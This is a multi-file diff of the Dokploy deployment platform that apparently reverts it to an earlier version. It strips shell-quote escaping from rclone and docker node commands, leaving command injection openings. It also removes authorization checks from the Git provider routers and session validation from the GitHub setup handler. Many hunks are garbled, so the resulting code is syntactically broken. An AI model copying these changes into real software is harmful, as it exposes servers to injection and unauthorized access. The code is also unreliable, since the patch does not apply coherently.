--- a/apps/dokploy/components/dashboard/compose/logs/show.tsx
+++ b/apps/dokploy/components/dashboard/compose/logs/show.tsx
@@ -35,14 +35,12 @@ interface Props {
 	appName: string;
 	serverId?: string;
 	appType: "stack" | "docker-compose";
 	serviceId?: string;
 }
 export const ShowDockerLogsCompose = ({
 	appName,
 	appType,
 	serverId,
 	serviceId,
 }: Props) => {
 	const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
 		{
@@ -106,7 +104,6 @@ export const ShowDockerLogsCompose = ({
 					serverId={serverId || ""}
 					containerId={containerId || "select-a-container"}
 					runType="native"
 					serviceId={serviceId}
 				/>
 			</CardContent>
 		</Card>
--- a/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx
+++ b/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx
@@ -23,7 +23,6 @@ interface Props {
 	containerId: string;
 	serverId?: string | null;
 	runType: "swarm" | "native";
 	serviceId?: string;
 }
 export const priorities = [
@@ -53,7 +52,6 @@ export const DockerLogsId: React.FC<Props> = ({
 	containerId,
 	serverId,
 	runType,
 	serviceId,
 }) => {
 	const { data } = api.docker.getConfig.useQuery(
 		{
@@ -159,10 +157,6 @@ export const DockerLogsId: React.FC<Props> = ({
 			params.append("serverId", serverId);
 		}
 		if (serviceId) {
 			params.append("serviceId", serviceId);
 		}
 		const wsUrl = `${protocol}//${
 			window.location.host
 		}/docker-container-logs?${params.toString()}`;
@@ -228,7 +222,7 @@ export const DockerLogsId: React.FC<Props> = ({
 				ws.close();
 			}
 		};
-	}, [containerId, serverId, serviceId, lines, search, since]);
+	}, [containerId, serverId, lines, search, since]);
 	const handleDownload = () => {
 		const logContent = filteredLogs
--- a/apps/dokploy/components/dashboard/docker/terminal/docker-terminal-modal.tsx
+++ b/apps/dokploy/components/dashboard/docker/terminal/docker-terminal-modal.tsx
@@ -23,14 +23,12 @@ interface Props {
 	containerId: string;
 	serverId?: string;
 	children?: React.ReactNode;
 	serviceId?: string;
 }
 export const DockerTerminalModal = ({
 	children,
 	containerId,
 	serverId,
 	serviceId,
 }: Props) => {
 	const [mainDialogOpen, setMainDialogOpen] = useState(false);
 	const [confirmDialogOpen, setConfirmDialogOpen] = useState(false);
@@ -76,7 +74,6 @@ export const DockerTerminalModal = ({
 					id="terminal"
 					containerId={containerId}
 					serverId={serverId || ""}
 					serviceId={serviceId}
 				/>
 				<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
 					<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>
--- a/apps/dokploy/components/dashboard/docker/terminal/docker-terminal.tsx
+++ b/apps/dokploy/components/dashboard/docker/terminal/docker-terminal.tsx
@@ -10,14 +10,12 @@ interface Props {
 	id: string;
 	containerId?: string;
 	serverId?: string;
 	serviceId?: string;
 }
 export const DockerTerminal: React.FC<Props> = ({
 	id,
 	containerId,
 	serverId,
 	serviceId,
 }) => {
 	const termRef = useRef(null);
 	const [activeWay, setActiveWay] = React.useState<string | undefined>("bash");
@@ -40,7 +38,7 @@ export const DockerTerminal: React.FC<Props> = ({
 		const addonFit = new FitAddon();
 		const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
-		const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`;
+		const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}`;
 		const ws = new WebSocket(wsUrl);
--- a/apps/dokploy/components/dashboard/libsql/general/show-general-libsql.tsx
+++ b/apps/dokploy/components/dashboard/libsql/general/show-general-libsql.tsx
@@ -229,7 +229,6 @@ export const ShowGeneralLibsql = ({ libsqlId }: Props) => {
 						)}
 						<DockerTerminalModal
 							appName={data?.appName || ""}
 							serviceId={data?.libsqlId}
 							serverId={data?.serverId || ""}
 						>
 							<Button
--- a/apps/dokploy/components/dashboard/mariadb/general/show-general-mariadb.tsx
+++ b/apps/dokploy/components/dashboard/mariadb/general/show-general-mariadb.tsx
@@ -236,7 +236,6 @@ export const ShowGeneralMariadb = ({ mariadbId }: Props) => {
 							))}
 						<DockerTerminalModal
 							appName={data?.appName || ""}
 							serviceId={data?.mariadbId}
 							serverId={data?.serverId || ""}
 						>
 							<Button
--- a/apps/dokploy/components/dashboard/mongo/general/show-general-mongo.tsx
+++ b/apps/dokploy/components/dashboard/mongo/general/show-general-mongo.tsx
@@ -230,7 +230,6 @@ export const ShowGeneralMongo = ({ mongoId }: Props) => {
 						</TooltipProvider>
 						<DockerTerminalModal
 							appName={data?.appName || ""}
 							serviceId={data?.mongoId}
 							serverId={data?.serverId || ""}
 						>
 							<Button
--- a/apps/dokploy/components/dashboard/mysql/general/show-general-mysql.tsx
+++ b/apps/dokploy/components/dashboard/mysql/general/show-general-mysql.tsx
@@ -228,7 +228,6 @@ export const ShowGeneralMysql = ({ mysqlId }: Props) => {
 						</TooltipProvider>
 						<DockerTerminalModal
 							appName={data?.appName || ""}
 							serviceId={data?.mysqlId}
 							serverId={data?.serverId || ""}
 						>
 							<Button
--- a/apps/dokploy/components/dashboard/postgres/general/show-general-postgres.tsx
+++ b/apps/dokploy/components/dashboard/postgres/general/show-general-postgres.tsx
@@ -234,7 +234,6 @@ export const ShowGeneralPostgres = ({ postgresId }: Props) => {
 						</TooltipProvider>
 						<DockerTerminalModal
 							appName={data?.appName || ""}
 							serviceId={data?.postgresId}
 							serverId={data?.serverId || ""}
 						>
 							<Button
--- a/apps/dokploy/components/dashboard/redis/general/show-general-redis.tsx
+++ b/apps/dokploy/components/dashboard/redis/general/show-general-redis.tsx
@@ -229,7 +229,6 @@ export const ShowGeneralRedis = ({ redisId }: Props) => {
 						</TooltipProvider>
 						<DockerTerminalModal
 							appName={data?.appName || ""}
 							serviceId={data?.redisId}
 							serverId={data?.serverId || ""}
 						>
 							<Button
--- a/apps/dokploy/components/dashboard/settings/ai-form.tsx
+++ b/apps/dokploy/components/dashboard/settings/ai-form.tsx
@@ -13,14 +13,10 @@ import {
 } from "@/components/ui/card";
 import { api } from "@/utils/api";
 import { HandleAi } from "./handle-ai";
 import { HandleAiProviders } from "./handle-ai-providers";
 export const AiForm = () => {
 	const { data: aiConfigs, refetch, isPending } = api.ai.getAll.useQuery();
 	const { mutateAsync, isPending: isRemoving } = api.ai.delete.useMutation();
 	const { data: currentUser } = api.user.get.useQuery();
 	const isOrgAdmin =
 		currentUser?.role === "owner" || currentUser?.role === "admin";
 	return (
 		<div className="w-full">
@@ -34,10 +30,7 @@ export const AiForm = () => {
 							</CardTitle>
 							<CardDescription>Manage your AI configurations</CardDescription>
 						</div>
 						<div className="flex flex-row gap-2">
 							{isOrgAdmin && <HandleAiProviders />}
 						{aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
 						</div>
 					</CardHeader>
 					<CardContent className="space-y-2 py-8 border-t">
 						{isPending ? (
--- a/apps/dokploy/components/dashboard/settings/handle-ai-providers.tsx
+++ b/apps/dokploy/components/dashboard/settings/handle-ai-providers.tsx
@@ -1,158 +0,0 @@
 "use client";
 import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
 import { PlusIcon, ServerIcon, Trash2 } from "lucide-react";
 import { useEffect, useState } from "react";
 import { useFieldArray, useForm } from "react-hook-form";
 import { toast } from "sonner";
 import { z } from "zod";
 import { Button } from "@/components/ui/button";
 import {
 	Dialog,
 	DialogContent,
 	DialogDescription,
 	DialogHeader,
 	DialogTitle,
 	DialogTrigger,
 } from "@/components/ui/dialog";
 import {
 	Form,
 	FormControl,
 	FormField,
 	FormItem,
 	FormMessage,
 } from "@/components/ui/form";
 import { Input } from "@/components/ui/input";
 import { api } from "@/utils/api";
 const Schema = z.object({
 	providers: z.array(
 		z.object({
 			name: z.string().min(1, { message: "Name is required" }),
 			apiUrl: z.string().url({ message: "Please enter a valid URL" }),
 		}),
 	),
 });
 type Schema = z.infer<typeof Schema>;
 export const HandleAiProviders = () => {
 	const utils = api.useUtils();
 	const [open, setOpen] = useState(false);
 	const { data: providers } = api.ai.getCustomProviders.useQuery();
 	const { mutateAsync, isPending } = api.ai.saveCustomProviders.useMutation();
 	const form = useForm<Schema>({
 		resolver: zodResolver(Schema),
 		defaultValues: {
 			providers: [],
 		},
 	});
 	const { fields, append, remove } = useFieldArray({
 		control: form.control,
 		name: "providers",
 	});
 	useEffect(() => {
 		if (open) {
 			form.reset({ providers: providers ?? [] });
 		}
 	}, [open, providers, form]);
 	const onSubmit = async (data: Schema) => {
 		try {
 			await mutateAsync({ providers: data.providers });
 			await utils.ai.getCustomProviders.invalidate();
 			toast.success("Custom providers saved successfully");
 			setOpen(false);
 		} catch (error) {
 			toast.error("Failed to save custom providers", {
 				description: error instanceof Error ? error.message : "Unknown error",
 			});
 		}
 	};
 	return (
 		<Dialog open={open} onOpenChange={setOpen}>
 			<DialogTrigger asChild>
 				<Button variant="outline" className="cursor-pointer space-x-3">
 					<ServerIcon className="h-4 w-4" />
 					Custom Presets
 				</Button>
 			</DialogTrigger>
 			<DialogContent className="sm:max-w-xl">
 				<DialogHeader>
 					<DialogTitle>Custom AI Providers</DialogTitle>
 					<DialogDescription>
 						Define your own AI providers, like an internal LLM platform. When at
 						least one is defined, only these providers can be used in AI
 						configurations.
 					</DialogDescription>
 				</DialogHeader>
 				<Form {...form}>
 					<form onSubmit={form.handleSubmit(onSubmit)} className="space-y-4">
 						{fields.length === 0 && (
 							<p className="text-sm text-muted-foreground">
 								No custom providers defined. The built-in provider list will be
 								used.
 							</p>
 						)}
 						{fields.map((fieldItem, index) => (
 							<div key={fieldItem.id} className="flex gap-2 items-start">
 								<FormField
 									control={form.control}
 									name={`providers.${index}.name`}
 									render={({ field }) => (
 										<FormItem className="flex-1">
 											<FormControl>
 												<Input placeholder="Internal LLM" {...field} />
 											</FormControl>
 											<FormMessage />
 										</FormItem>
 									)}
 								/>
 								<FormField
 									control={form.control}
 									name={`providers.${index}.apiUrl`}
 									render={({ field }) => (
 										<FormItem className="flex-[2]">
 											<FormControl>
 												<Input
 													placeholder="https://llm.internal.company/v1"
 													{...field}
 												/>
 											</FormControl>
 											<FormMessage />
 										</FormItem>
 									)}
 								/>
 								<Button
 									type="button"
 									variant="ghost"
 									size="icon"
 									className="group hover:bg-red-500/10"
 									onClick={() => remove(index)}
 								>
 									<Trash2 className="size-4 text-primary group-hover:text-red-500" />
 								</Button>
 							</div>
 						))}
 						<div className="flex justify-between">
 							<Button
 								type="button"
 								variant="outline"
 								onClick={() => append({ name: "", apiUrl: "" })}
 							>
 								<PlusIcon className="h-4 w-4" />
 								Add Provider
 							</Button>
 							<Button type="submit" isLoading={isPending}>
 								Save
 							</Button>
 						</div>
 					</form>
 				</Form>
 			</DialogContent>
 		</Dialog>
 	);
 };
--- a/apps/dokploy/components/dashboard/settings/handle-ai.tsx
+++ b/apps/dokploy/components/dashboard/settings/handle-ai.tsx
@@ -99,11 +99,6 @@ export const HandleAi = ({ aiId }: Props) => {
 			enabled: !!aiId,
 		},
 	);
 	const { data: customProviders } = api.ai.getCustomProviders.useQuery();
 	const hasCustomProviders = (customProviders?.length ?? 0) > 0;
 	const providerOptions: { name: string; apiUrl: string }[] = hasCustomProviders
 		? (customProviders ?? [])
 		: [...AI_PROVIDERS];
 	const { mutateAsync, isPending } = aiId
 		? api.ai.update.useMutation()
 		: api.ai.create.useMutation();
@@ -215,9 +210,7 @@ export const HandleAi = ({ aiId }: Props) => {
 							<FormLabel>Provider</FormLabel>
 							<Select
 								onValueChange={(value) => {
-									const provider = providerOptions.find(
+									const provider = AI_PROVIDERS.find((p) => p.apiUrl === value);
 										(p) => p.apiUrl === value,
 									);
 									if (provider) {
 										form.setValue("name", provider.name);
 										form.setValue("apiUrl", provider.apiUrl);
@@ -229,20 +222,15 @@ export const HandleAi = ({ aiId }: Props) => {
 									<SelectValue placeholder="Select a provider preset..." />
 								</SelectTrigger>
 								<SelectContent>
-									{providerOptions.map((provider) => (
+									{AI_PROVIDERS.map((provider) => (
-										<SelectItem
+										<SelectItem key={provider.apiUrl} value={provider.apiUrl}>
 											key={`${provider.name}-${provider.apiUrl}`}
 											value={provider.apiUrl}
 										>
 											{provider.name}
 										</SelectItem>
 									))}
 								</SelectContent>
 							</Select>
 							<p className="text-[0.8rem] text-muted-foreground">
-								{hasCustomProviders
+								Quick-fill provider name and URL, or configure manually below
 									? "Select one of the providers defined by your organization"
 									: "Quick-fill provider name and URL, or configure manually below"}
 							</p>
 						</div>
@@ -272,7 +260,6 @@ export const HandleAi = ({ aiId }: Props) => {
 									<FormControl>
 										<Input
 											placeholder="https://api.openai.com/v1"
 											disabled={hasCustomProviders}
 											{...field}
 											onChange={(e) => {
 												field.onChange(e);
@@ -284,9 +271,7 @@ export const HandleAi = ({ aiId }: Props) => {
 										/>
 									</FormControl>
 									<FormDescription>
-										{hasCustomProviders
+										The base URL for your AI provider's API
 											? "The API URL is defined by your organization's providers"
 											: "The base URL for your AI provider's API"}
 									</FormDescription>
 									<FormMessage />
 								</FormItem>
--- a/apps/dokploy/components/dashboard/settings/profile/enable-2fa.tsx
+++ b/apps/dokploy/components/dashboard/settings/profile/enable-2fa.tsx
@@ -100,7 +100,7 @@ export const Enable2FA = () => {
 			});
 			if (result.error) {
-				if (result.error.code === "INVALID_CODE") {
+				if (result.error.code === "INVALID_TWO_FACTOR_AUTHENTICATION") {
 					toast.error("Invalid verification code");
 					return;
 				}
--- a/apps/dokploy/components/dashboard/settings/web-server/docker-terminal-modal.tsx
+++ b/apps/dokploy/components/dashboard/settings/web-server/docker-terminal-modal.tsx
@@ -40,7 +40,6 @@ interface Props {
 	children?: React.ReactNode;
 	serverId?: string;
 	appType?: "stack" | "docker-compose";
 	serviceId?: string;
 }
 export const DockerTerminalModal = ({
@@ -48,7 +47,6 @@ export const DockerTerminalModal = ({
 	appName,
 	serverId,
 	appType,
 	serviceId,
 }: Props) => {
 	const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
 		{
@@ -133,7 +131,6 @@ export const DockerTerminalModal = ({
 					serverId={serverId || ""}
 					id="terminal"
 					containerId={containerId || "select-a-container"}
 					serviceId={serviceId}
 				/>
 				<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
 					<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>
--- a/apps/dokploy/components/layouts/side.tsx
+++ b/apps/dokploy/components/layouts/side.tsx
@@ -648,7 +648,7 @@ function SidebarLogo() {
 								</SidebarMenuButton>
 							</DropdownMenuTrigger>
 							<DropdownMenuContent
-								className="w-64 rounded-lg max-h-[min(70vh,28rem)] flex flex-col"
+								className="rounded-lg max-h-[min(70vh,28rem)] flex flex-col"
 								align="start"
 								side={isMobile ? "bottom" : "right"}
 								sideOffset={4}
--- a/apps/dokploy/package.json
+++ b/apps/dokploy/package.json
@@ -1,6 +1,6 @@
 {
 	"name": "dokploy",
-	"version": "v0.29.13",
+	"version": "v0.29.12",
 	"private": true,
 	"license": "Apache-2.0",
 	"type": "module",
--- a/apps/dokploy/pages/api/providers/github/setup.ts
+++ b/apps/dokploy/pages/api/providers/github/setup.ts
@@ -1,6 +1,5 @@
-import { createGithub, validateRequest } from "@dokploy/server";
+import { createGithub } from "@dokploy/server";
 import { db } from "@dokploy/server/db";
 import { hasPermission } from "@dokploy/server/services/permission";
 import { eq } from "drizzle-orm";
 import type { NextApiRequest, NextApiResponse } from "next";
 import { Octokit } from "octokit";
@@ -22,22 +21,18 @@ export default async function handler(
 	if (!code) {
 		return res.status(400).json({ error: "Missing code parameter" });
 	}
-
+	const [action, ...rest] = state?.split(":");
-	const { user, session } = await validateRequest(req);
+	// For gh_init: rest[0] = organizationId, rest[1] = userId
-	if (!user || !session?.activeOrganizationId) {
+	// For gh_setup: rest[0] = githubProviderId
 		return res.status(401).json({ error: "Unauthorized" });
 	}
 	const ctx = {
 		user: { id: user.id },
 		session: { activeOrganizationId: session.activeOrganizationId },
 	};
 	const [action] = state?.split(":") ?? [];
 	if (!(await hasPermission(ctx, { gitProviders: ["create"] }))) {
 		return res.status(403).json({ error: "Forbidden" });
 	}
 	if (action === "gh_init") {
 		const organizationId = rest[0];
 		const userId = rest[1] || (req.query.userId as string);
 		if (!userId) {
 			return res.status(400).json({ error: "Missing userId parameter" });
 		}
 		const octokit = new Octokit({});
 		const { data } = await octokit.request(
 			"POST /app-manifests/{code}/conversions",
@@ -56,32 +51,16 @@ export default async function handler(
 				githubWebhookSecret: data.webhook_secret,
 				githubPrivateKey: data.pem,
 			},
-			session.activeOrganizationId,
+			organizationId as string,
-			user.id,
+			userId,
 		);
 	} else if (action === "gh_setup") {
 		const githubId = state?.split(":")[1];
 		if (!githubId) {
 			return res.status(400).json({ error: "Missing github provider id" });
 		}
 		const provider = await db.query.github.findFirst({
 			where: eq(github.githubId, githubId),
 			with: { gitProvider: true },
 		});
 		if (
 			!provider ||
 			provider.gitProvider.organizationId !== session.activeOrganizationId
 		) {
 			return res.status(404).json({ error: "Github provider not found" });
 		}
 		await db
 			.update(github)
 			.set({
 				githubInstallationId: installation_id,
 			})
-			.where(eq(github.githubId, githubId))
+			.where(eq(github.githubId, rest[0] as string))
 			.returning();
 	}
--- a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/application/[applicationId].tsx
+++ b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/application/[applicationId].tsx
@@ -347,7 +347,6 @@ const Service = (
 												<ShowDockerLogs
 													appName={data?.appName || ""}
 													serverId={data?.serverId || ""}
 													serviceId={data?.applicationId}
 												/>
 											</div>
 										</TabsContent>
--- a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/compose/[composeId].tsx
+++ b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/compose/[composeId].tsx
@@ -312,7 +312,6 @@ const Service = (
 													serverId={data?.serverId || undefined}
 													appName={data?.appName || ""}
 													appType={data?.composeType || "docker-compose"}
 													serviceId={data?.composeId}
 												/>
 											</div>
 										</TabsContent>
@@ -381,13 +380,11 @@ const Service = (
 														serverId={data?.serverId || ""}
 														appName={data?.appName || ""}
 														appType={data?.composeType || "docker-compose"}
 														serviceId={data?.composeId}
 													/>
 												) : (
 													<ShowDockerLogsStack
 														serverId={data?.serverId || ""}
 														appName={data?.appName || ""}
 														serviceId={data?.composeId}
 													/>
 												)}
 											</div>
--- a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/libsql/[libsqlId].tsx
+++ b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/libsql/[libsqlId].tsx
@@ -269,7 +269,6 @@ const Libsql = (
 											<ShowDockerLogs
 												serverId={data?.serverId || ""}
 												appName={data?.appName || ""}
 												serviceId={data?.libsqlId}
 											/>
 										</div>
 									</TabsContent>
--- a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mariadb/[mariadbId].tsx
+++ b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mariadb/[mariadbId].tsx
@@ -299,7 +299,6 @@ const Mariadb = (
 												<ShowDockerLogs
 													serverId={data?.serverId || ""}
 													appName={data?.appName || ""}
 													serviceId={data?.mariadbId}
 												/>
 											</div>
 										</TabsContent>
--- a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mongo/[mongoId].tsx
+++ b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mongo/[mongoId].tsx
@@ -299,7 +299,6 @@ const Mongo = (
 												<ShowDockerLogs
 													serverId={data?.serverId || ""}
 													appName={data?.appName || ""}
 													serviceId={data?.mongoId}
 												/>
 											</div>
 										</TabsContent>
--- a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mysql/[mysqlId].tsx
+++ b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mysql/[mysqlId].tsx
@@ -276,7 +276,6 @@ const MySql = (
 													<ShowDockerLogs
 														serverId={data?.serverId || ""}
 														appName={data?.appName || ""}
 														serviceId={data?.mysqlId}
 													/>
 												</div>
 											</TabsContent>
--- a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/postgres/[postgresId].tsx
+++ b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/postgres/[postgresId].tsx
@@ -284,7 +284,6 @@ const Postgresql = (
 												<ShowDockerLogs
 													serverId={data?.serverId || ""}
 													appName={data?.appName || ""}
 													serviceId={data?.postgresId}
 												/>
 											</div>
 										</TabsContent>
--- a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/redis/[redisId].tsx
+++ b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/redis/[redisId].tsx
@@ -297,7 +297,6 @@ const Redis = (
 												<ShowDockerLogs
 													serverId={data?.serverId || ""}
 													appName={data?.appName || ""}
 													serviceId={data?.redisId}
 												/>
 											</div>
 										</TabsContent>
--- a/apps/dokploy/server/api/routers/ai.ts
+++ b/apps/dokploy/server/api/routers/ai.ts
@@ -1,7 +1,6 @@
 import { IS_CLOUD } from "@dokploy/server/constants";
 import {
 	apiCreateAi,
 	apiSaveAiCustomProviders,
 	apiUpdateAi,
 	deploySuggestionSchema,
 } from "@dokploy/server/db/schema/ai";
@@ -14,9 +13,7 @@ import {
 	deleteAiSettings,
 	getAiSettingById,
 	getAiSettingsByOrganizationId,
 	getCustomAiProviders,
 	saveAiSettings,
 	saveCustomAiProviders,
 	suggestVariants,
 } from "@dokploy/server/services/ai";
 import { createComposeByTemplate } from "@dokploy/server/services/compose";
@@ -203,19 +200,6 @@ export const aiRouter = createTRPCRouter({
 			return await deleteAiSettings(input.aiId);
 		}),
 	getCustomProviders: protectedProcedure.query(async ({ ctx }) => {
 		return await getCustomAiProviders(ctx.session.activeOrganizationId);
 	}),
 	saveCustomProviders: adminProcedure
 		.input(apiSaveAiCustomProviders)
 		.mutation(async ({ ctx, input }) => {
 			return await saveCustomAiProviders(
 				ctx.session.activeOrganizationId,
 				input.providers,
 			);
 		}),
 	getEnabledProviders: protectedProcedure.query(async ({ ctx }) => {
 		const settings = await getAiSettingsByOrganizationId(
 			ctx.session.activeOrganizationId,
--- a/apps/dokploy/server/api/routers/backup.ts
+++ b/apps/dokploy/server/api/routers/backup.ts
@@ -49,7 +49,6 @@ import {
 	restoreWebServerBackup,
 } from "@dokploy/server/utils/restore";
 import { TRPCError } from "@trpc/server";
 import { quote } from "shell-quote";
 import { z } from "zod";
 import {
 	createTRPCRouter,
@@ -511,7 +510,7 @@ export const backupRouter = createTRPCRouter({
 						: input.search;
 				const searchPath = baseDir ? `${bucketPath}/${baseDir}` : bucketPath;
-				const listCommand = `rclone lsjson ${rcloneFlags.join(" ")} ${quote([searchPath])} --no-mimetype --no-modtime 2>/dev/null`;
+				const listCommand = `rclone lsjson ${rcloneFlags.join(" ")} "${searchPath}" --no-mimetype --no-modtime 2>/dev/null`;
 				let stdout = "";
--- a/apps/dokploy/server/api/routers/bitbucket.ts
+++ b/apps/dokploy/server/api/routers/bitbucket.ts
@@ -1,5 +1,4 @@
 import {
 	assertGitProviderAccess,
 	createBitbucket,
 	findBitbucketById,
 	getAccessibleGitProviderIds,
@@ -52,10 +51,8 @@ export const bitbucketRouter = createTRPCRouter({
 		}),
 	one: protectedProcedure
 		.input(apiFindOneBitbucket)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
-			const bitbucket = await findBitbucketById(input.bitbucketId);
+			return await findBitbucketById(input.bitbucketId);
 			await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
 			return bitbucket;
 		}),
 	bitbucketProviders: protectedProcedure.query(async ({ ctx }) => {
 		const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -81,26 +78,18 @@ export const bitbucketRouter = createTRPCRouter({
 	getBitbucketRepositories: protectedProcedure
 		.input(apiFindOneBitbucket)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
 			const bitbucket = await findBitbucketById(input.bitbucketId);
 			await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
 			return await getBitbucketRepositories(input.bitbucketId);
 		}),
 	getBitbucketBranches: protectedProcedure
 		.input(apiFindBitbucketBranches)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
 			if (input.bitbucketId) {
 				const bitbucket = await findBitbucketById(input.bitbucketId);
 				await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
 			}
 			return await getBitbucketBranches(input);
 		}),
 	testConnection: protectedProcedure
 		.input(apiBitbucketTestConnection)
-		.mutation(async ({ input, ctx }) => {
+		.mutation(async ({ input }) => {
 			try {
 				const bitbucket = await findBitbucketById(input.bitbucketId);
 				await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
 				const result = await testBitbucketConnection(input);
 				return `Found ${result} repositories`;
--- a/apps/dokploy/server/api/routers/cluster.ts
+++ b/apps/dokploy/server/api/routers/cluster.ts
@@ -6,7 +6,6 @@ import {
 	getRemoteDocker,
 } from "@dokploy/server";
 import { TRPCError } from "@trpc/server";
 import { quote } from "shell-quote";
 import { z } from "zod";
 import { audit } from "@/server/api/utils/audit";
 import { getLocalServerIp } from "@/server/wss/terminal";
@@ -52,8 +51,8 @@ export const clusterRouter = createTRPCRouter({
 				}
 			}
 			try {
-				const drainCommand = `docker node update --availability drain ${quote([input.nodeId])}`;
+				const drainCommand = `docker node update --availability drain ${input.nodeId}`;
-				const removeCommand = `docker node rm ${quote([input.nodeId])} --force`;
+				const removeCommand = `docker node rm ${input.nodeId} --force`;
 				if (input.serverId) {
 					await execAsyncRemote(input.serverId, drainCommand);
--- a/apps/dokploy/server/api/routers/destination.ts
+++ b/apps/dokploy/server/api/routers/destination.ts
@@ -10,7 +10,6 @@ import {
 import { db } from "@dokploy/server/db";
 import { TRPCError } from "@trpc/server";
 import { desc, eq } from "drizzle-orm";
 import { quote } from "shell-quote";
 import { createTRPCRouter, withPermission } from "@/server/api/trpc";
 import { audit } from "@/server/api/utils/audit";
 import {
@@ -59,10 +58,10 @@ export const destinationRouter = createTRPCRouter({
 			} = input;
 			try {
 				const rcloneFlags = [
-					`--s3-access-key-id=${quote([accessKey])}`,
+					`--s3-access-key-id="${accessKey}"`,
-					`--s3-secret-access-key=${quote([secretAccessKey])}`,
+					`--s3-secret-access-key="${secretAccessKey}"`,
-					`--s3-region=${quote([region])}`,
+					`--s3-region="${region}"`,
-					`--s3-endpoint=${quote([endpoint])}`,
+					`--s3-endpoint="${endpoint}"`,
 					"--s3-no-check-bucket",
 					"--s3-force-path-style",
 					"--retries 1",
@@ -71,13 +70,13 @@ export const destinationRouter = createTRPCRouter({
 					"--contimeout 5s",
 				];
 				if (provider) {
-					rcloneFlags.unshift(`--s3-provider=${quote([provider])}`);
+					rcloneFlags.unshift(`--s3-provider="${provider}"`);
 				}
 				if (additionalFlags?.length) {
 					rcloneFlags.push(...additionalFlags);
 				}
 				const rcloneDestination = `:s3:${bucket}`;
-				const rcloneCommand = `rclone ls ${rcloneFlags.join(" ")} ${quote([rcloneDestination])}`;
+				const rcloneCommand = `rclone ls ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
 				if (IS_CLOUD && !input.serverId) {
 					throw new TRPCError({
--- a/apps/dokploy/server/api/routers/gitea.ts
+++ b/apps/dokploy/server/api/routers/gitea.ts
@@ -1,5 +1,4 @@
 import {
 	assertGitProviderAccess,
 	createGitea,
 	findGiteaById,
 	getAccessibleGitProviderIds,
@@ -54,12 +53,8 @@ export const giteaRouter = createTRPCRouter({
 			}
 		}),
-	one: protectedProcedure
+	one: protectedProcedure.input(apiFindOneGitea).query(async ({ input }) => {
-		.input(apiFindOneGitea)
+		return await findGiteaById(input.giteaId);
 		.query(async ({ input, ctx }) => {
 			const gitea = await findGiteaById(input.giteaId);
 			await assertGitProviderAccess(ctx.session, gitea.gitProvider);
 			return gitea;
 	}),
 	giteaProviders: protectedProcedure.query(async ({ ctx }) => {
@@ -94,7 +89,7 @@ export const giteaRouter = createTRPCRouter({
 	getGiteaRepositories: protectedProcedure
 		.input(apiFindOneGitea)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
 			const { giteaId } = input;
 			if (!giteaId) {
@@ -104,9 +99,6 @@ export const giteaRouter = createTRPCRouter({
 				});
 			}
 			const gitea = await findGiteaById(giteaId);
 			await assertGitProviderAccess(ctx.session, gitea.gitProvider);
 			try {
 				const repositories = await getGiteaRepositories(giteaId);
 				return repositories;
@@ -121,7 +113,7 @@ export const giteaRouter = createTRPCRouter({
 	getGiteaBranches: protectedProcedure
 		.input(apiFindGiteaBranches)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
 			const { giteaId, owner, repositoryName } = input;
 			if (!giteaId || !owner || !repositoryName) {
@@ -132,9 +124,6 @@ export const giteaRouter = createTRPCRouter({
 				});
 			}
 			const gitea = await findGiteaById(giteaId);
 			await assertGitProviderAccess(ctx.session, gitea.gitProvider);
 			try {
 				return await getGiteaBranches({
 					giteaId,
@@ -152,12 +141,9 @@ export const giteaRouter = createTRPCRouter({
 	testConnection: protectedProcedure
 		.input(apiGiteaTestConnection)
-		.mutation(async ({ input, ctx }) => {
+		.mutation(async ({ input }) => {
 			const giteaId = input.giteaId ?? "";
 			const gitea = await findGiteaById(giteaId);
 			await assertGitProviderAccess(ctx.session, gitea.gitProvider);
 			try {
 				const result = await testGiteaConnection({
 					giteaId,
--- a/apps/dokploy/server/api/routers/github.ts
+++ b/apps/dokploy/server/api/routers/github.ts
@@ -1,5 +1,4 @@
 import {
